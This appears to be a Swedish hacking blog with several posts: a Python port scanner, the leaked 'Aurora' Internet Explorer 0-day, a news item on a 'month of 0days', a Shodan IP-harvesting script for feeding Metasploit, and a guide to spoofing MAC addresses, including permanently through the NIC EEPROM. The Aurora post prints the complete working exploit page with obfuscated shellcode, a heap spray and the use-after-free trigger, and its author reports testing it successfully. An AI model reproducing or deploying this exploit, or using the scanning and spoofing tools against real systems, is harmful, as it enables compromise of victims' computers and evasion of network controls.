Portscanning with socketlib

Simple portscanner to try out the socket lib!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
#new feature
import socket
import subprocess
import sys
from datetime import datetime
 
# Clear the screen
subprocess.call('clear', shell=True)
 
# Ask for input
remoteServer	= raw_input("Enter remote host to scan: ")
remoteServerIP	= socket.gethostbyname(remoteServer)
 
# Print a nice banner with information on which host we are about to scan
print "-" * 60
print "Please wait, scanning remote host", remoteServerIP
print "-" * 60
 
# Check what time scan started
t1 = datetime.now()
 
# Using the range function to specify ports (here it will scan all port between 1 and 1024)
# We also put in some error handling for catching errors
 
try:
    for port in range(1,1025):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	result = sock.connect_ex((remoteServerIP, port))
	if result == 0:
	    print "Port {}: \t Open".format(port)
	sock.close()
 
except KeyboardInterrupt:
    print "You pressed Ctrl+C"
    sys.exit()
 
except socket.gaierror:
    print "Hostname could not be resolved"
    sys.exit()
 
except socket.error:
    print "Couldn't conenct to server"
    sys.exit()
 
# Cehcking time again
t2 = datetime.now()
 
# Calculate diff of time,to se how long it took to run scanning
total = t2 - t1
 
# Print info to screen
print "Scanning completed in: ", total

AURORA – the new IE Exploit

Denna vecka har den stora IT-nyheten varit att (vad ryktet säger) Kina har tagit sig in i nätverk så som Google, Adobe , Juniper och 29 andra stora aktörer.
Lite senare fick vi höra att de hade tagit sig in via en 0-day i Internet Explorer. Microsoft har nu gått ut med att sårbarheten finns där och drabbar samtliga versioner av IE. Sårbarheten annses vara en av de allvarligaste på mycket länge och Microsft kommer att bryta sin “2:dra tisdagen i månaden” patch cykel och släppa en uppdatering inom de närmaste dagarna.

Nu har då exploiten aka. Aurora läkt ut. Attacken har utförts genoma att mycket välskrivna mail riktade specifikt till en del personer på insidan av dessa företag med en länk till sidor där javascriptet här under injectade följande shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<html><script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175
%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8
%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8
%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8
%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea
%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8
%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121
%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318
%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8
%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51
%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2
%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8
%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8
%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8
%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac
%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f
%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8
%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466
%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8
%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20
%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f
%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab
%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27
%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453
%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762
%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f
%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081
%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd
%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac
%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848
%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58
%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b
%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e
%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3
%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724
%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7
%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466
%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8
%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, 
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, 
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686, 
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693, 
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833, 
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224, 
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ ){
  arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, ""
  );
  cc = cc.replace(/@/g, ",");
  eval(cc);
  var x1 = new Array();
  for (i = 0; i < 200; i ++ ){
    x1[i] = document.createElement("COMMENT");
    x1[i].data = "abc";
  }
  ;
  var e1 = null;
  function ev1(evt){
    e1 = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";
    window.setInterval(ev2, 50);
  }
  function ev2(){
    p = "
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
    for (i = 0; i < x1.length; i ++ ){
      x1[i].data = p;
    }
    ;
    var t = e1.srcElement;
  }
</script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

Bara timmar efter att exploiten hade läkt ut hade H.D Moore integrerat den till Metasploit.

Jag har bara testat mot WinXP med IE6 med lyckat resultat, men kommer försöka få igång fler set-up’s att testa mot under helgen.

The month of 0days

Det ryska säkerhetsföretaget Intevydis har lovat att göra januari till en jobbig månad för web och databas administratörer. Grundaren Evgeny Legerov har gått ut i media och sagt att mellan den 11 januari och den 6 februari kommer ett flertal 0days att publiceras på deras blog.

Det ryktas om sårbarheter i bland annat:
Web Servrar – Zeus web server, Sun web server och kanske även apache
Databaser – Mysql, Lotus Dominu, IBM DB2 och Informix.
Katalogservrar – Novell eDirectory, Sun Directory och Tivoli Directory

Intevydis säger sig göra detta pågrund av att mjukvaruföretagen förväntar sig att få till gång till PoC kod utan att betala för de tusentals timmar av QA som säkerhetsföretagen lägger på att hitta sårbarheter i programvaran.
I vissa fall så struntar till och med företagen i att patcha upp sårbarheterna efter att de har informerats om dem.
T.ex har en sårbarhet i RealPlayer rapporterats in av Intevydis för två år sedan och fortfarande finns sårbarheten i senaste releasen.

Intevydis menar även på att om sårbarheten visas upp för allmänheten kommer den patchas inom 24 timmar vilket man kan se i Open Source communityn.

Sen om detta är ett PR-trick kan diskuteras

Shodan query i terminalen

Under julledigheten fick jag lite tid över att leka lite mer med python vilket resulterade i att jag skrev ett litet program som kan utföra sökningar mot Shodan och sedan parsar ut ip nummerna och sparar dessa i en log vilken senare kan användas i till exempel metasploit.
Problem uppstog dock när jag skulle hitta på ett sätt att avsluta programet.
I version 1.0 så har jag löst det genom att page räknas upp med 1 varje för var sida och avslutas då page är mindre än 10, då Shodan bara har info på de 5-6 första sidorna i dagsläget trots att det finns flera sidor att blädra till. Inge vacker lösning så tips mottages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
import urllib2, sys, re
from BeautifulSoup import BeautifulSoup
 
def info():
  help = '''
    ShodanScanner v.1.0 h-kan@h-kan.com
 
    USAGE: ./shodanscanner -q  -f
    Ex: ./shodanscanner -q apache+2.2.1 -f scan.log
    This scan for apache servers and save the IP's into scan.log.
    More advanced query's could be used like
    - apache+2.2.11 Search for apache servers running version 2.2.11
    - +country:SE Search for servers located in sweden
    - +hostname:.se Search for servers with ".se" in hostname
    - +port:22 Search for servers with service running on port 22
  	'''
  print help
 
def crawler(page):
  try:
    sock = urllib2.urlopen("http://shodan.surtri.com/?q=%s&page=%i"%(args1,page))
    homepage = sock.read()
    htmlDom = BeautifulSoup(homepage)
    links = htmlDom.findAll('a', {'href': True})
    return links
  except:
    print "[-] Connection Failed"
    sys.exit(0)
 
if __name__ == "__main__":
  page = 1
    if len(sys.argv) != 5:
      info()
      print "usage: %s -q  -f "%sys.argv[0]
      sys.exit(0)
    else:
      if sys.argv[1].lower() == "-q":
        args1 = sys.argv[2]
      if sys.argv[3].lower() == "-f":
        args2 = sys.argv[4]
    log = open(args2,"a")
    print "[+] Searching query: %s"%args1
    log.write("[+] Searching query: %s"%args1)
    log.close()
    print "[+] please wait ..."
    while page <=10:
      data = crawler(page)
      for link in data:
        log = open(args2,"a")
        if re.search("http://",link['href']):
          link = link['href'].replace("http://","")
          print "%s"%link
          log.write("%s\n"%link)
        log.close()
      page += 1

SHODAN – Indexering al a’ google-nmap

För någon dag sedan såg en ny söktjänst dagens ljus. John Matherly aka achillean gav oss SHODAN som är en söktjänst för att hitta servrar, routerar och allt annat med ett WAN interface. I dagsläget är det mest webservrar som är indexerade men så småning om kommer även FTP, Telnet och SSH tjänster att dyka upp.

Sökmotorn har startat en hel del högljuda samtal om hurvida detta är rätt/fel då det i många länder anses olagligt att utföra portscanningar.

Man kan i nuläget söka på vilket land man vill utföra sökningen i, hostnamn, portar och till och med efter specifik version av mjukvaran som lyssnar på porten. Se det som en grovt nerbantad version av nmap som görs från en remote maskin.

Klicka här för att komma till SHODAN

Ribadeohacklab har redan släppt en beta av ett firefox addon för Shodan vilket kan hämtas här Computer Search Engine

Beyond MAC spoofing

Ibland har man behovet av att spoofa sin MAC adress vid t.ex Wardriving eller om vid avlyssning i switchade nät.

1
# ifconfig eth0 hw ether 00:01:02:03:04:05

Dock läser kärnan in mac adressen ur eeprom vid varje uppstart så spoofen är bara tillfällig.
Vill man gå ett steg längre kan man skriva till eeprom dirket och ändra mac adressen permanent.
Detta fungerar dock inte på alla kort och man behöver “magic value key” för sitt NIC som kan fås av tillverkaren eller google.

Info om eeprom:
EEPROM

Innan vi börjar modifiera något så tar vi en dump av hela eeprom

1
2
3
# ethtool -e eth0 &gt; eth0.eepromdump</bash>
Nu tar vi reda på vår MAC adress
<pre lang="bash" line="1" colla="+"># ifconfig | grep eth0

När vi hittat vår mac letar vi upp den i eeprom med hjälp av ethtool

1
2
3
4
5
6
7
8
9
10
11
# ethtool -e eth0
Offset		Values
------		        ------
0x0000		xx xx xx xx xx xx 03 1a 00 00 01 02 01 47 00 00
0x0010		00 00 00 00 b0 49 6c 33 62 14 dc 27 86 80 00 00
0x0020		00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0030		00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0040		00 00 00 00 00 00 dc 27 00 00 00 00 00 00 00 00
0x0050		00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0060		20 01 00 40 13 41 00 00 00 00 00 00 00 00 00 00
0x0070		00 00 00 00 00 00 30 40 00 00 00 00 00 00 55 46

Ändra sedan värdet så här

1
2
3
4
5
6
# ethtool -E eth0 magic 0x10d38086 offset 0 value 0xaa
# ethtool -E eth0 magic 0x10d38086 offset 1 value 0xbb
# ethtool -E eth0 magic 0x10d38086 offset 2 value 0xcc
# ethtool -E eth0 magic 0x10d38086 offset 3 value 0xdd
# ethtool -E eth0 magic 0x10d38086 offset 4 value 0xee
# ethtool -E eth0 magic 0x10d38086 offset 5 value 0xff>

eller scripta det om du kommer ändra ofta.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
#
# Script for changing the mac in eeprom
#
 
numbers=(`echo $1 | tr ':' ' '`)
 
ethtool -E eth0 magic 0x10d38086 offset 0 value 0x${numbers[0]}
ethtool -E eth0 magic 0x10d38086 offset 1 value 0x${numbers[1]}
ethtool -E eth0 magic 0x10d38086 offset 2 value 0x${numbers[2]}
ethtool -E eth0 magic 0x10d38086 offset 3 value 0x${numbers[3]}
ethtool -E eth0 magic 0x10d38086 offset 4 value 0x${numbers[4]}
ethtool -E eth0 magic 0x10d38086 offset 5 value 0x${numbers[5]}

Sedan kör bara ./macscript.sh aa:bb:cc:dd:ee:ff eller liknande för att byta.